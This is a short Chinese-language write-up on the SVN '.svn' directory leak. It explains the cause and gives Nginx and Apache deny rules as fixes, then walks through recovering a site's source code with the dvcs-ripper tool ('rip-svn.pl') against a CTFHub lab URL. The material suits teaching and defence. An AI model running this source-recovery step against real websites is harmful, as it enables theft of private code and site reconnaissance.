SVN是subversion的缩写,是一个开放源代码的版本控制系统,通过采用分支管理系统的高效管理,简而言之就是用于多个人共同开发同一个项目,实现共享资源,实现最终集中式的管理。
在服务器上布署代码时。如果是使用 svn checkout 功能来更新代码,而没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。 在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。
方案一、不要使用svn checkout和svn up更新服务器上的代码,使用svn export(导出)功能代替。
方案二、服务器软件(Nginx、apache、tomcat、IIS等)设置目录权限,禁止访问.svn和.git目录,下面示范为禁止访问点号开头的目录
Nginx的vhosts中配置
location ~ (/\.){ deny all; }Apache的vhosts中配置
<Directory ~ "/\."> Deny from all </Directory>下载工具
git clone https://github.com/kost/dvcs-ripper进行简单配置相关要求的组件
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl进入工具目录/dvcs-ripper,执行下面命令开始恢复 ./rip-svn.pl http://challenge-2d1ad35b8ccb1dec.sandbox.ctfhub.com:10080/.svn
参考文章: 1、https://www.cnblogs.com/batsing/p/svn-bug.html